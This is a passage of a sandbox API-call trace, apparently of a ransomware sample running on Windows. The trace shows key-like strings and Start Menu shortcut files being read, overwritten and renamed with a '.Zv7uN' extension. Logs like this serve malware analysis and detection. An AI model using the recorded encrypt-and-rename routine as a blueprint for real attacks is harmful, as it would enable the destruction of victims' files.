DqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0132.331] GetCurrentThreadId () returned 0xa30 [0132.331] GetCurrentThreadId () returned 0xa30 [0132.331] GetCurrentThreadId () returned 0xa30 [0132.331] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0132.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0132.332] GetCurrentThreadId () returned 0xa30 [0132.332] GetCurrentThreadId () returned 0xa30 [0132.332] GetCurrentThreadId () returned 0xa30 [0132.332] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\Windows Journal.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\windows journal.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0132.332] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0132.332] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0132.332] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x524 [0132.333] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0132.333] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f108*=0x524, lpOverlapped=0x0) returned 1 [0132.342] CloseHandle (hObject=0x1dc) returned 1 [0132.342] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\Windows Journal.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\windows journal.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0132.345] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f114*=0x524, lpOverlapped=0x0) returned 1 [0132.347] CloseHandle (hObject=0x1dc) returned 1 [0132.347] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\Windows Journal.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\windows journal.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\Windows Journal.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\windows journal.lnk.zv7un")) returned 1 [0132.349] GetCurrentThreadId () returned 0xa30 [0132.349] GetCurrentThreadId () returned 0xa30 [0132.349] GetCurrentThreadId () returned 0xa30 [0132.349] GetCurrentThreadId () returned 0xa30 [0132.349] GetCurrentThreadId () returned 0xa30 [0132.349] GetCurrentThreadId () returned 0xa30 [0132.349] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d103a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80d103a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x80d103a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows Journal.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0132.349] GetLastError () returned 0x12 [0132.350] FindClose (in: hFindFile=0x6aa0c0 | out: hFindFile=0x6aa0c0) returned 1 [0132.350] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\*.*", lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x631a5ba0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x631a5ba0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa0c0 [0132.350] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b8 | out: lpLocalFileTime=0x18f1b8) returned 1 [0132.350] FileTimeToDosDateTime (in: lpFileTime=0x18f1b8, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.350] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x631a5ba0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x631a5ba0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0132.350] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.350] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.350] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a217df5, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x81291680, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x157, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0132.350] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811d2fa0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x811d2fa0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x63133780, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x59c, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="ShapeCollector.lnk.Zv7uN", cAlternateFileName="SHAPEC~1.ZV7")) returned 1 [0132.350] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.350] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.350] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8126b520, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x8126b520, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x6317fa40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x56a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="TabTip.lnk.Zv7uN", cAlternateFileName="TABTIP~1.ZV7")) returned 1 [0132.351] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.351] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.351] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d103a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80d103a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x631a5ba0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows Journal.lnk.Zv7uN", cAlternateFileName="WINDOW~1.ZV7")) returned 1 [0132.351] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.351] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.351] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d103a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x80d103a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x631a5ba0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows Journal.lnk.Zv7uN", cAlternateFileName="WINDOW~1.ZV7")) returned 0 [0132.351] GetLastError () returned 0x12 [0132.351] FindClose (in: hFindFile=0x6aa0c0 | out: hFindFile=0x6aa0c0) returned 1 [0132.351] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b13a6d0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8b13a6d0, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x62c70b80, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x62b, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Welcome Center.lnk.Zv7uN", cAlternateFileName="WELCOM~1.ZV7")) returned 1 [0132.351] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0132.351] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0132.351] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8d79c9d7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows PowerShell", cAlternateFileName="WINDOW~1")) returned 1 [0132.351] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0132.351] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0132.351] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\*.*", lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8d79c9d7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa0c0 [0132.352] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8d79c9d7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0132.352] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8d776877, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8d776877, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0132.352] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b8 | out: lpLocalFileTime=0x18f1b8) returned 1 [0132.352] FileTimeToDosDateTime (in: lpFileTime=0x18f1b8, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.352] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x7c5, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows PowerShell (x86).lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0132.352] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.352] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.352] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell (x86).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell (x86).lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x7c5)) returned 1 [0132.353] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell (x86).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell (x86).lnk")) returned 0x20 [0132.353] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell (x86).lnk", dwFileAttributes=0x80) returned 1 [0132.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 